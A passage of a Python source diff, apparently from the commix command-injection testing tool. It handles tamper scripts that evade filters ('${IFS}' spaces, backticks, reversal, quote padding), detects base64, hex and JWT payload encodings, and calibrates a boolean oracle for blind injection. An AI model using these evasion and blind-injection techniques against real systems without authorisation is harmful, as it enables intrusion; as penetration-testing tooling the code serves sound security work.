use, and dropping +the script without putting the plain space back leaves every payload built afterwards carrying a +substitute nothing is applying any more. +""" +def drop_auto_tampers(): + """ + The whitespace a parameter was proved through is put back behind the plain space as well. + + 'confirm_boundary' moves whatever worked to the front of the list, which is worth leading with for + the rest of that parameter and worth nothing on the next one - left there, every parameter after + it is asked through a substitute the target may well have filtered before the plain space is tried + at all. Put back, the next parameter starts from the plain space as this one did. + """ + if settings.WHITESPACES and settings.WHITESPACES[0] != settings.SINGLE_WHITESPACE and \ + not (settings.USER_APPLIED_TAMPER or menu.options.tamper) and not settings.LOAD_SESSION: + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + if not settings.AUTO_TAMPER: + return + for name in settings.AUTO_TAMPER: + if name in settings.TAMPER_SCRIPTS: + settings.TAMPER_SCRIPTS[name] = False + settings.AUTO_TAMPER = [] + settings.MULTI_ENCODED_PAYLOAD = [] + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + tamper_scripts(stored_tamper_scripts=True) + +""" +Tamper script checker +""" +def tamper_scripts(stored_tamper_scripts): + # A stored session may still name the scripts by their old names, as may the command line. + absorb_encoding_tampers() + if menu.options.tamper or settings.AUTO_TAMPER: + provided_scripts = validate_tamper_scripts() + priorities = {} + for script in provided_scripts: + # Announced where it is loaded, not every time the list is read back: a pass that adopts one + # more script re-reads the ones already in use, and saying so again reads as the same script + # being loaded over and over. + newly_loaded = script not in settings.MULTI_ENCODED_PAYLOAD + if newly_loaded: + settings.MULTI_ENCODED_PAYLOAD.append(script) + if not stored_tamper_scripts and newly_loaded: + info_msg = "Loading tamper module '" + script + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: + module = importlib.import_module(tamper_module_path(script)) + except (ImportError, ValueError): + continue + if not hasattr(module, "__tamper__"): + err_msg = "Missing variable '__tamper__' " + err_msg += "in tamper script '" + script + "'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + priorities[script] = getattr(module, "__priority__", settings.PRIORITY.NORMAL) + warn_msg = module.dependencies() if hasattr(module, "dependencies") else None + if warn_msg: + # Always warn and drop incompatible scripts, including resumed techniques. + settings.print_once(warn_msg) + if script in settings.MULTI_ENCODED_PAYLOAD: + settings.MULTI_ENCODED_PAYLOAD.remove(script) + elif hasattr(module, "declare"): + """ + A script that changes how a payload is put together rather than how it reads says so now, + while the scripts are being settled - not when it first rewrites something. + + Said then, the choice arrives one payload late: the builders read it as they build, so the + first payload of every boundary is put together the old way and only the ones after it + carry the script at all. Which is the one payload a target is first judged on. + """ + module.declare() + + # Respect each tamper script's declared execution tier; offer to auto-sort conflicting --tamper order. + current_order = [script for script in settings.MULTI_ENCODED_PAYLOAD if script in priorities] + sorted_order = sorted(current_order, key=lambda script: -priorities[script]) + if current_order != sorted_order: + warn_msg = "It appears that you have mixed the order of the provided tamper scripts. " + warn_msg += "Do you want to auto resolve this? [Y/n] " + if common.read_input(warn_msg, default="Y", check_batch=True).lower() != "n": + settings.MULTI_ENCODED_PAYLOAD = sorted_order + [script for script in settings.MULTI_ENCODED_PAYLOAD if script not in priorities] + + # Using too many tamper scripts is usually not a good idea. :P + # + # Counted over the ones '--tamper' named, not the ones this run reached for behind a filter: the + # advice is to drop a script, which is only advice where choosing them was the user's to make. + # Said against a combination commix put together itself, it reads as a warning about a decision + # they did not take and cannot act on. + user_scripts = [script for script in provided_scripts if script not in settings.AUTO_TAMPER] + warn_needed = False + if len(user_scripts) >= 3 and not settings.LOAD_SESSION: + warn_msg = "Using too many tamper scripts " + warn_needed = True + elif len([x for x in user_scripts if any(y in x for y in ["nested", "doublequotes"])]) == 2 and not settings.LOAD_SESSION: + warn_needed = True + warn_msg = "The combination of the provided tamper scripts " + if warn_needed and not settings.TAMPER_WARNING_SHOWN: + settings.TAMPER_WARNING_SHOWN = True + warn_msg += "is not a good idea (may cause false positive / negative results)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + # What the payloads print with follows the script that trades the two names rather than being + # remembered from when it was taken up. A script is dropped again where the target turns out not + # to meet what it asks of it, and the ones commix reached for itself are given back between one + # parameter and the next - and either way what was remembered went on printing with 'echo' for + # payloads nothing was asking it of, on a run whose scripts no longer said so. + settings.PRINT_WITH_ECHO = settings.PRINTF_TO_ECHO_TAMPER in settings.MULTI_ENCODED_PAYLOAD + +""" +Enable a tamper script by name, skipping duplicates. +""" +def _enable_tamper_script(tamper_name): + if settings.TAMPER_SCRIPTS[tamper_name]: + return + provided = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()) if menu.options.tamper else [] + if tamper_name in provided or tamper_name in settings.AUTO_TAMPER: + return + settings.AUTO_TAMPER.append(tamper_name) + +""" +Check for modified whitespaces. +""" +def whitespace_check(payload): + + present = [] + # As they appear in a payload now: written out, and encoded only on the way to the wire. + whitespaces = ["${IFS}", "+", "\t", "\v", " "] + for whitespace in whitespaces: + if whitespace in payload: + present.append(whitespace) + + # Enable the "space2ifs" tamper script. + if "${IFS}" in present: + _enable_tamper_script('space2ifs') + settings.WHITESPACES[0] = "${IFS}" + + # Enable the "space2plus" tamper script. + elif "+" in present and payload.count("+") >= 2: + _enable_tamper_script('space2plus') + settings.WHITESPACES[0] = "+" + + # Enable the "space2htab" tamper script. + elif "\t" in present: + _enable_tamper_script('space2htab') + settings.WHITESPACES[0] = "\t" + + # Enable the "space2vtab" tamper script. + elif "\v" in present: + _enable_tamper_script('space2vtab') + settings.WHITESPACES[0] = "\v" + + # Default whitespace + else : + settings.WHITESPACES[0] = "%20" + + # Enable the "multiplespaces" tamper script. + count_spaces = payload.count(settings.WHITESPACES[0]) + if count_spaces > 15: + if not settings.TAMPER_SCRIPTS['multiplespaces']: + _enable_tamper_script('multiplespaces') + settings.WHITESPACES[0] = settings.WHITESPACES[0] * int(count_spaces / 2) + +""" +Check for symbols (i.e. "`", "^", "$@" etc) between the characters of the generated payloads. +""" +def other_symbols(payload): + # Implemented check to replace each character in a user-supplied OS command with a random case. + if payload.count("|tr \"[A-Z]\" \"[a-z]\"") >= 1 and settings.TARGET_OS != settings.OS.WINDOWS: + _enable_tamper_script('randomcase') + + # Check for reversed (characterwise) user-supplied operating system commands. + if payload.count("|rev") >= 1 and settings.TARGET_OS != settings.OS.WINDOWS: + _enable_tamper_script('rev') + + # Check for (multiple) backticks (instead of "$()") for command substitution on the generated payloads. + if payload.count("`") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: + _enable_tamper_script('backticks') + + # Check for caret symbol + if payload.count("^") >= 10: + _enable_tamper_script('caret') + + # Check for dollar sign followed by an at-sign + if payload.count("$@") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: + _enable_tamper_script('dollaratsigns') + + # Check for uninitialized variable + if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: + _enable_tamper_script('uninitializedvariable') + + # Check for environment variable value variable + if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: + _enable_tamper_script('slash2env') + +""" +Check for (multiple) added back slashes between the characters of the generated payloads. +""" +def check_backslashes(payload): + # Check for single quotes + if payload.count("\\") >= 15 and settings.TARGET_OS != settings.OS.WINDOWS: + _enable_tamper_script('backslashes') + +""" +Check for quotes in the generated payloads. +""" +def check_quotes(payload): + # Check for double quotes around of the generated payloads. + if payload.endswith("\"") and settings.TARGET_OS != settings.OS.WINDOWS: + _enable_tamper_script('nested') + + # Check for (multiple) added double-quotes between the characters of the generated payloads. + if payload.count("\"") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: + _enable_tamper_script('doublequotes') + + # Check for (multiple) added single-quotes between the characters of the generated payloads. + if payload.count("''") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: + _enable_tamper_script('singlequotes') + +""" +Charset matches alone do not prove encoding; require a mostly printable decoded result to confirm a real encoding. +""" +def decoded_text_is_plausible(text): + if not text: + return False + printable = sum(1 for char in text if char in string.printable and char not in "\x0b\x0c") + return printable / len(text) >= settings.ENCODING_PLAUSIBILITY_RATIO + +""" +What a value is written in, where it is written in anything at all. + +Answered as the alphabet and the padding it was found with, not merely as "base64", because what is +sent back has to be written the same way: a value that arrived in the URL-safe alphabet and comes +back in the standard one is a value the target no longer recognises. + +A value counts as encoded only where decoding it and writing it out again gives back exactly what +arrived, and where what came out reads as text. Anything less takes a word that happens to be +spellable in the alphabet - 'deadbeef', 'password' - for an encoded one. +""" +def recognise_encoding(value): + value = (value or "").strip() + if len(value) < settings.ENCODING_MIN_LENGTH: + return None + + # Hexadecimal, which is the narrower shape: every character a digit, and two of them per byte. + if re.match(settings.HEX_RECOGNITION_REGEX, value): + body = value[2:] if value[:2].lower() == "0x" else value + if len(body) % 2 == 0: + try: + decoded = bytearray.fromhex(body).decode(settings.DEFAULT_CODEC) + except (ValueError, UnicodeDecodeError): + decoded = None + if decoded and decoded_text_is_plausible(decoded): + return {"codec": "hex", "upper": body.upper() == body and body.lower() != body, + "prefixed": value[:2].lower() == "0x"} + return None + + # Base64, in either alphabet and with the padding it happened to carry. + urlsafe = "-" in value or "_" in value + alphabet = settings.BASE64_URLSAFE_RECOGNITION_REGEX if urlsafe else settings.BASE64_RECOGNITION_REGEX + if not re.match(alphabet, value): + return None + """ + Padding is only known to be dropped where the length says it must have been: a value that is a + whole number of groups long needed none in the first place, and writing the next one out without + it is how a target that pads is handed something it does not recognise. + """ + padded = value.endswith("=") or len(value) % 4 == 0 + body = value.rstrip("=") + # A length one past a whole group cannot be base64, padded back or not. + if len(body) % 4 == 1: + return None + try: + raw = base64.urlsafe_b64decode(body + "=" * (-len(body) % 4)) if urlsafe \ + else base64.b64decode(body + "=" * (-len(body) % 4)) + decoded = raw.decode(settings.DEFAULT_CODEC) + except Exception: + return None + if "\\x" in decoded or not decoded_text_is_plausible(decoded): + return None + description = {"codec": "base64", "urlsafe": urlsafe, "padded": padded} + # Written out again the way it arrived: where that is not what arrived, it was never encoded. + if apply_encoding(decoded, description) != value: + return None + return description + +""" +The encoding named with '--param-encoding', as the value it is named for actually carries it. + +The name settles the alphabet; the padding and the case are read off the value itself, so that a +parameter written one way is not answered in another. +""" +def encoding_from_name(name, value): + name = (name or "").strip().lower() + value = value or "" + if name == settings.ENCODING_JWT_KID: + data = jwt_audit.parse(value) + # Only a token that names a 'kid' carries anything here - the rest of it is kept as it arrived. + if not data or "kid" not in data["header"]: + return None + return {"codec": "jwt-kid", "header": data["header"], "token": value} + if name == settings.ENCODING_HEX: + body = value[2:] if value[:2].lower() == "0x" else value + return {"codec": "hex", "upper": body.upper() == body and body.lower() != body, + "prefixed": value[:2].lower() == "0x"} + if name in (settings.ENCODING_BASE64, settings.ENCODING_BASE64_SAFE): + urlsafe = name == settings.ENCODING_BASE64_SAFE + # The URL-safe alphabet is written without padding; the standard one keeps whatever it needs. + padded = False if urlsafe else (value.endswith("=") or len(value.rstrip("=")) % 4 == 0) + return {"codec": "base64", "urlsafe": urlsafe, "padded": padded} + return None + +""" +What '--param-encoding' was given, as a parameter-to-encoding map. + +Written either as one encoding for every parameter tested, or as the parameters that carry one +named each with their own. +""" +def parse_param_encoding(): + given = (menu.options.param_encoding or "").strip() + if not given: + return + settings.PARAMETER_ENCODINGS = {} + settings.PARAMETER_ENCODING_DEFAULT = None + for entry in re.split(settings.PARAMETER_SPLITTING_REGEX, given): + entry = entry.strip() + if not entry: + continue + name, separator, encoding = entry.partition("=") + if not separator: + name, encoding = "", name + encoding = encoding.strip().lower() + if encoding not in settings.SUPPORTED_PARAMETER_ENCODINGS: + err_msg = "You specified an invalid value '" + encoding + "' for the option '--param-encoding'. " + err_msg += "The value must be one of " + ", ".join("'" + _ + "'" for _ in settings.SUPPORTED_PARAMETER_ENCODINGS) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + if name: + settings.PARAMETER_ENCODINGS[name.strip()] = encoding + else: + settings.PARAMETER_ENCODING_DEFAULT = encoding + +""" +An encoding asked for as a tamper script is the same thing said the way it used to be said. + +'base64encode' and 'hexencode' wrote the payload out encoded and left the value it was appended to +alone, which only ever worked where the two happened to decode as one. Taken here as what they were +reaching for - the value is carried in that encoding - and answered that way for every parameter +tested, which is what naming a tamper meant. +""" +def absorb_encoding_tampers(): + given = menu.options.tamper or "" + if not given: + return + kept = [] + absorbed = None + for script in re.split(settings.PARAMETER_SPLITTING_REGEX, given): + name = script.strip().lower() + if name in settings.ENCODING_TAMPER_SCRIPTS: + absorbed = settings.ENCODING_TAMPER_SCRIPTS[name] + elif script.strip(): + kept.append(script.strip()) + if absorbed is None: + return + menu.options.tamper = ",".join(kept) if kept else None + warn_msg = "The value's encoding is no longer given as a tamper script. " + if menu.options.param_encoding: + warn_msg += "Carrying on with what '--param-encoding' names." + else: + settings.PARAMETER_ENCODING_DEFAULT = absorbed + warn_msg += "Carrying on as '--param-encoding=" + absorbed + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +The encoding a parameter was said to carry, where one was named for it. +""" +def named_encoding(parameter, value): + encoding = settings.PARAMETER_ENCODINGS.get(parameter, settings.PARAMETER_ENCODING_DEFAULT) + return encoding_from_name(encoding, value) if encoding else None + +""" +A payload written out in the encoding the parameter carries, ready for the wire. + +The payload writes its spaces the way a carrier that percent-decodes them wants; a value the target +reads back out of base64 or hex is not percent-decoded, so they go back to being spaces before it +is written out - otherwise the command the target runs is full of '%20' where its spaces were. +""" +def apply_value_encoding(payload): + if not settings.VALUE_ENCODING: + return payload + return apply_encoding(_urllib.parse.unquote(payload), settings.VALUE_ENCODING) + +""" +Write a value out the way the one it stands in for was written. +""" +def apply_encoding(value, description): + if not description: + return value + if description.get("codec") == "jwt-kid": + return jwt_audit.rewrite_kid(description.get("token") or "", value) + if description.get("codec") == "hex": + body = value.encode(settings.DEFAULT_CODEC).hex() + if description.get("upper"): + body = body.upper() + return ("0x" + body) if description.get("prefixed") else body + raw = value.encode(settings.DEFAULT_CODEC) + encoded = base64.urlsafe_b64encode(raw) if description.get("urlsafe") else base64.b64encode(raw) + encoded = encoded.decode(settings.DEFAULT_CODEC) + return encoded if description.get("padded") else encoded.rstrip("=") + +# What a value written in a known encoding stands for. +def strip_encoding(value, description): + if not description: + return value + if description.get("codec") == "jwt-kid": + data = jwt_audit.parse(value) + return str(data["header"].get("kid", "")) if data else value + if description.get("codec") == "hex": + body = value[2:] if description.get("prefixed") else value + return bytearray.fromhex(body).decode(settings.DEFAULT_CODEC) + body = value.rstrip("=") + padded = body + "=" * (-len(body) % 4) + raw = base64.urlsafe_b64decode(padded) if description.get("urlsafe") else base64.b64decode(padded) + return raw.decode(settings.DEFAULT_CODEC) + +""" +Check for applied (hex / b64) encoders. +""" +def check_encoders(payload): + """ + Whether the value the parameter carries is written in an encoding, and if it is, the run is told + to speak it: the value is read back as what it stands for, and every value sent from here on is + written out the same way - alphabet, padding and all. + """ + description = recognise_encoding(payload) + if not description: + return payload, "" + + encoded_with = description["codec"] + while True: + message = "The value appears to already be " + encoded_with + "-encoded. " + message += "Do you want " + settings.APPLICATION + " to keep it that way? [Y/n] " + answer = common.read_input(message, default="Y", check_batch=True) + if answer in settings.CHOICE_YES: + break + elif answer in settings.CHOICE_NO: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Leaving the value as it was given." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return payload, "" + elif answer in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(answer) + + try: + decoded = strip_encoding(payload, description) + except Exception: + return payload, "" + settings.VALUE_ENCODING = description + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The value stands for '" + decoded + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return decoded, encoded_with + +""" +Recognise the payload. +""" +def recognise_payload(payload): + if "usleep" in payload and settings.TARGET_OS != settings.OS.WINDOWS: + _enable_tamper_script('sleep2usleep') + + elif "timeout" in payload: + _enable_tamper_script('sleep2timeout') + + return check_encoders(payload) + +""" +Restore stored payloads and tampers as-is when resuming a session; skip re-detection and prompts. +""" +def check_for_stored_tamper(payload): + whitespace_check(payload) + other_symbols(payload) + check_backslashes(payload) + check_quotes(payload) + tamper_scripts(stored_tamper_scripts=True) + +""" +Run a tamper script's tamper(), turning an exception or a non-string return value into a clean error instead of crashing raw or corrupting the payload. +""" +def _apply_tamper(script_name, module, payload): + try: + result = module.tamper(payload) + except Exception as err: + err_msg = "Tamper script '" + script_name + "' raised an unhandled error (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + if not isinstance(result, str): + err_msg = "Tamper script '" + script_name + "' returned an invalid payload type ('" + type(result).__name__ + "')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + return result + +""" +Apply tampers in dependency order across groups, preserving the user's --tamper order within each group. +""" +def perform_payload_modification(payload): + try: + settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE) + except IndexError: + settings.RAW_PAYLOAD = payload + + for script in list(settings.MULTI_ENCODED_PAYLOAD): + if script == 'xforwardedfor': + continue + module = importlib.import_module(tamper_module_path(script)) + payload = _apply_tamper(script, module, payload) + + return payload + +""" +Settle what a tamper script's own mutation to 'WHITESPACES' would be, before anything built off +that list is frozen. + +Several whitespace tampers ('space2ifs', 'space2htab', ...) do not rewrite the payload they are +handed at all - they rewrite 'settings.WHITESPACES' as a side effect, so that every payload built +afterwards carries the substitute instead of a plain space. A technique that reads 'WHITESPACES' +before sending its own first payload reads it as it stood before an escalation stage just added the +script - that technique never asks again once it has gone through its own boundaries once, so the +substitute the stage was supposed to try only ends up reaching whichever technique happens to run +after it, in the same pass, by accident. Running the active scripts once against a bare space here, +ahead of that read, settles it there instead - not a real payload, since the scripts this is for do +not look at the one they are given. +""" +def prime_whitespace_tampers(): + if settings.MULTI_ENCODED_PAYLOAD: + perform_payload_modification(settings.SINGLE_WHITESPACE) + + +""" +Skip parameters when the provided value is empty. +""" +def skip_empty(empty_parameters, http_request_method): + warn_msg = "Skipped the " + http_request_method + warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + warn_msg += " parameter" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + warn_msg += " '" + empty_parameters + "' from testing" + warn_msg += " because you specified testing of only parameter(s) with non-empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Prints an informational message if a nested JSON structure is detected +and JSON parameter enumeration has not started yet. +""" +def nested_json_msg(data): + if not settings.JSON_ENUMERATION_STARTED: + # Detect nested structure by checking if flattening increases the number of keys + if len(flatten(data)) > len(data): + settings.JSON_ENUMERATION_STARTED = True + info_msg = "Enumerating parameters due to nested JSON structure." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Pretty-print data as valid JSON using 2-space indentation. +""" +def format_json(data): + nested_json_msg(data) + indent, separators = settings.JSON_FORMATTING + return json.dumps(data, indent=indent, ensure_ascii=False, separators=separators) + +""" +Put back the whitespace that sat between the XML tags, which the parameter split replaced. +""" +def restore_xml_layout(data): + if not settings.IS_XML or not settings.XML_TAG_SEPARATORS: + return data + separators = list(settings.XML_TAG_SEPARATORS) + # A payload of its own could add a boundary, and then the recorded layout no longer lines up. + if len(re.findall(r">\s*<", data)) != len(separators): + return data + return re.sub(r">\s*<", lambda match: ">" + separators.pop(0) + "<", data) + +""" +A body that is reflowed no longer matches what the target was given, so keep the supplied layout. +""" +def json_formatting(data): + if settings.END_LINE.LF in data.strip(): + return (2, None) + return (None, (", ", ": ") if ", " in data else (",", ":")) + +""" +A repeated key cannot survive being parsed into an object, so warn rather than drop one quietly. +""" +def warn_on_duplicate_json_keys(data): + if settings.DUPLICATE_JSON_KEYS_WARNED: + return + seen, duplicates = set(), set() + # Warn once for each parameter that appears more than once in the same request. + def _hook(pairs): + for name, _ in pairs: + if name in seen: + duplicates.add(name) + seen.add(name) + return OrderedDict(pairs) + try: + json.loads(data, object_pairs_hook=_hook) + except Exception: + return + if duplicates: + settings.DUPLICATE_JSON_KEYS_WARNED = True + warn_msg = "The provided JSON data repeats the key" + "s"[len(duplicates) == 1:] + " '" + "', '".join(sorted(duplicates)) + warn_msg += "'. Only the last occurrence of each is kept." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Parsing and unflattening JSON data. +""" +def json_data(data): + try: + data = json.loads(data, object_pairs_hook=OrderedDict) + data = unflatten_list(data) + return format_json(data) + except Exception: + return data + +""" +No parameter(s) found for testing. +""" +def no_parameters_found(): + err_msg = "No parameter(s) found for testing in the provided data " + err_msg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1'). " + if not menu.options.crawldepth: + err_msg += "Re-run with '--crawl=2'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +Check if the provided value is empty. +""" +def is_empty(multi_parameters, http_request_method): + all_empty = False + empty_parameters = [] + multi_params = [s for s in multi_parameters] + if settings.IS_JSON: + try: + multi_params = flatten(json.loads(','.join(multi_params), object_pairs_hook=OrderedDict)) if is_JSON_check(','.join(multi_params)) else multi_params + except ValueError as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + for empty in multi_params: + try: + if settings.IS_JSON: + try: + if len(str(multi_params[empty])) == 0 : + empty_parameters.append(empty) + except TypeError: + pass + elif settings.IS_XML: + if re.findall(r'>(.*)<', empty)[0] == "" or \ + re.findall(r'>(.*)<', empty)[0] == settings.SINGLE_WHITESPACE: + empty_parameters.append(re.findall(r'', empty)[0]) + else: + # What follows the first '=' is the value, however many more it holds: read to the next + # one instead and a value that starts with one reads as no value at all. + name, separator, value = empty.partition("=") + if separator and len(value) == 0: + empty_parameters.append(name) + except IndexError: + pass + + if len(empty_parameters) == len(multi_parameters): + all_empty = True + + empty_parameters = ", ".join(empty_parameters) + if len(empty_parameters) > 0: + if menu.options.skip_empty: + skip_empty(empty_parameters, http_request_method) + if all_empty: + return all_empty + else: + return False + else: + warn_msg = "The provided value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + warn_msg += " for " + http_request_method + warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + warn_msg += " parameter" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + warn_msg += " '" + empty_parameters + "'" + warn_msg += (' are ', ' is ')[len(empty_parameters.split(",")) == 1] + "empty. " + warn_msg += "Use only valid values, so " + settings.APPLICATION + warn_msg += " can run properly." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return False + +""" +A payload as it is written inside a document's string, which quotes the way a JSON string does. +""" +def graphql_escape_payload(payload): + return payload.replace("\\", "\\\\").replace("\"", "\\\"") + +""" +Whether the run was given a way to tell a true answer from a false one off the page itself. +""" +def boolean_oracle_given(): + return any((menu.options.string, menu.options.not_string, menu.options.regexp, menu.options.code)) + +""" +Whether the page says the injected condition held. + +The answer a target gives where it branches on the command rather than printing what it returned - +the page it renders, or the status it answers with, stands in for the output a blind sink withholds. +""" +def boolean_oracle(page, code=None, page_length=None, headers=None): + """ + Read against the headers as well as the body, the way the reference for this reads it: what tells + a true answer from a false one is as often something the application set in a header - a cookie + it drops, a location it redirects to, a length it reports - as anything it rendered, and a body + read on its own never sees it. The pattern is matched the way that one matches it too, without + regard to case and with '^' and '$' reading the lines of the answer rather than the whole of it. + """ + answered = page or "" + if headers: + try: + answered = "".join(str(line) for line in headers.headers) + answered + except AttributeError: + answered = str(headers) + answered + if menu.options.string: + return menu.options.string in answered + if menu.options.not_string: + return menu.options.not_string not in answered + if menu.options.regexp: + try: + return bool(re.search(menu.options.regexp, answered, re.IGNORECASE | re.MULTILINE)) + except re.error: + return None + if menu.options.code is not None: + return str(code) == str(menu.options.code) + """ + '--lengths' asked for by name, or 'page_length' handed in because there was no body to read at + all ('--null-connection') - either way, a length and nothing else is what there is to bisect on. + """ + if menu.options.lengths or page_length is not None: + if settings.BOOLEAN_TRUE_LENGTH is None or settings.BOOLEAN_FALSE_LENGTH is None: + return None + if page_length is None: + page_length = len(page) if page is not None else None + if page_length is None or settings.BOOLEAN_TRUE_LENGTH == settings.BOOLEAN_FALSE_LENGTH: + return None + to_true = abs(page_length - settings.BOOLEAN_TRUE_LENGTH) + to_false = abs(page_length - settings.BOOLEAN_FALSE_LENGTH) + if to_true == to_false: + return None + return to_true < to_false + # Nothing was named, so the answer is read against the two pages a known question came back with: + # whichever of them this response is closer to is the answer it carries. Calibrated rather than + # compared to a threshold, because what a condition changes can be a couple of characters of a + # page that is otherwise thousands - a difference no ratio of the whole would notice. + if settings.BOOLEAN_TRUE_PAGE is None or settings.BOOLEAN_FALSE_PAGE is None or page is None: + return None + current = comparable_page(page) + to_true = page_ratio(settings.BOOLEAN_TRUE_PAGE, current) + to_false = page_ratio(settings.BOOLEAN_FALSE_PAGE, current) + if to_true == to_false: + return None + return to_true > to_false + +""" +Learn what a yes and a no look like on this target, from two questions whose answers are known. + +False where the two are indistinguishable: a page that reads the same either way carries no answer, +and everything bisected on it would be noise. +""" +def calibrate_boolean_oracle(page_true, page_false, code_true=None, code_false=None): + settings.BOOLEAN_TRUE_PAGE = settings.BOOLEAN_FALSE_PAGE = None + settings.BOOLEAN_TRUE_RAW = settings.BOOLEAN_FALSE_RAW = None + settings.BOOLEAN_TRUE_LENGTH = settings.BOOLEAN_FALSE_LENGTH = None + settings.BOOLEAN_TRUE_CODE, settings.BOOLEAN_FALSE_CODE = code_true, code_false + if page_true is None or page_false is None: + return False + # Worth paying a fresh connection per request for '--null-connection' only past a minimum size - + # settled once, off the page this run actually has, rather than assumed. + if settings.NULL_CONNECTION_WORTHWHILE is None: + settings.NULL_CONNECTION_WORTHWHILE = len(page_true) >= settings.NULL_CONNECTION_MIN_LENGTH + true_page, false_page = comparable_page(page_true), comparable_page(page_false) + """ + Read as a length once the target's own moving parts are out of it. + + A length is a length whichever bytes it counts, so the pages themselves are measured as they came + back - but whether that length says anything is another question. A target printing something of + its own that varies in width, a timing or a counter, is a different number of bytes long on two + identical requests, and a difference read off that is the page moving rather than the question + being answered: taken for an answer, any boundary at all is confirmed on the strength of it. + """ + true_length, false_length = len(page_true), len(page_false) + lengths_distinguish = true_length != false_length and len(true_page) != len(false_page) + if lengths_distinguish: + settings.BOOLEAN_TRUE_LENGTH, settings.BOOLEAN_FALSE_LENGTH = true_length, false_length + if not true_page or true_page == false_page: + # Content alone cannot tell the two apart - length still might, and is reported precisely + # because it is the only one of the two that just did. + return lengths_distinguish + """ + A page that is a plain shell error on both questions is not two answers - it is one error, with + this run's own calibration digits echoed back inside it. A filter that corrupts the payload before + a shell ever sees it still leaves the random marker's length (6 vs. 7) sitting in the "command not + found" text the shell quotes it in, which tells the two pages apart without either command having + actually run. Normalizing the digits out of each error catches exactly that case, without touching + a real difference in wording a target's own interpreter would give for two different questions. + """ + true_error, false_error = extract_error_message(page_true), extract_error_message(page_false) + if true_error is not None and false_error is not None: + normalized = lambda text: re.sub(r"\d+", "#", text) + if normalized(true_error) == normalized(false_error): + return False + settings.BOOLEAN_TRUE_PAGE, settings.BOOLEAN_FALSE_PAGE = true_page, false_page + settings.BOOLEAN_TRUE_RAW, settings.BOOLEAN_FALSE_RAW = page_true, page_false + return True + +""" +Text one answer carries and the other does not, quoted back as the option that would name it. + +Worked out from the two pages a known question came back with, so that a finding made by calibration +can be reached again without it - the next run is told what a true answer looks like instead of +having to learn it. Where the two answers differ by a word that also appears elsewhere on the page, +the word alone would match either of them, so it is grown outwards into the text around it until it +is text only that answer carries: 'up' is on both pages, 'Host is up' on one. + +Nothing is offered where the difference is not the target's to make: a payload that prints its own +marker is answered by a word this run invented, which would mean nothing to the next one. +""" +def inferred_boolean_oracle(): + if settings.BOOLEAN_PRINTED_STATE: + return "" + true_raw, false_raw = settings.BOOLEAN_TRUE_RAW, settings.BOOLEAN_FALSE_RAW + if not true_raw or not false_raw: + return "" + + # The shortest window around the difference that the other answer has no copy of. + def unique_around(page, other, start, end): + for margin in settings.BOOLEAN_STRING_HINT_MARGINS: + low, high = max(0, start - margin), min(len(page), end + margin) + # A window that opens inside a tag is snapped back to the start of it, so what is quoted does + # not begin with half an element. + reach = max(0, low - settings.BOOLEAN_STRING_HINT_MAXLEN) + opened = page.rfind("<", reach, low) + if opened > page.rfind(">", reach, low): + low = opened + head, tail = page[low:start], page[start:high] + """ + The markup around a difference is often the difference. + + A scenario page that lists its own source carries both branches as text, so the words alone + are on both answers and only the rendered one is wrapped in its tag. The window is therefore + quoted as it stands first, and only cut back to the words inside it when that is not enough. + """ + shapes = [head + tail] + if ">" in head or "<" in tail: + shapes.append((head.rsplit(">", 1)[1] if ">" in head else head) + + (tail.split("<", 1)[0] if "<" in tail else tail)) + for shape in shapes: + candidate = shape.strip().split(settings.END_LINE.LF)[0].strip(" \"'\t\r") + candidate = candidate[:settings.BOOLEAN_STRING_HINT_MAXLEN].strip() + if len(candidate) < 2 or not candidate.isprintable(): + continue + if candidate in other or candidate not in page: + continue + return candidate + return "" + + # A status code that differs is the cheapest answer of all, and the one least likely to move. + true_code, false_code = settings.BOOLEAN_TRUE_CODE, settings.BOOLEAN_FALSE_CODE + if true_code and false_code and str(true_code) != str(false_code) and str(true_code) not in settings.WAF_BLOCK_HTTP_CODES: + return "--code=" + str(true_code) + + # What the page shows, before anything with markup in it: a line of it reads as something a person + # looking at the page would point 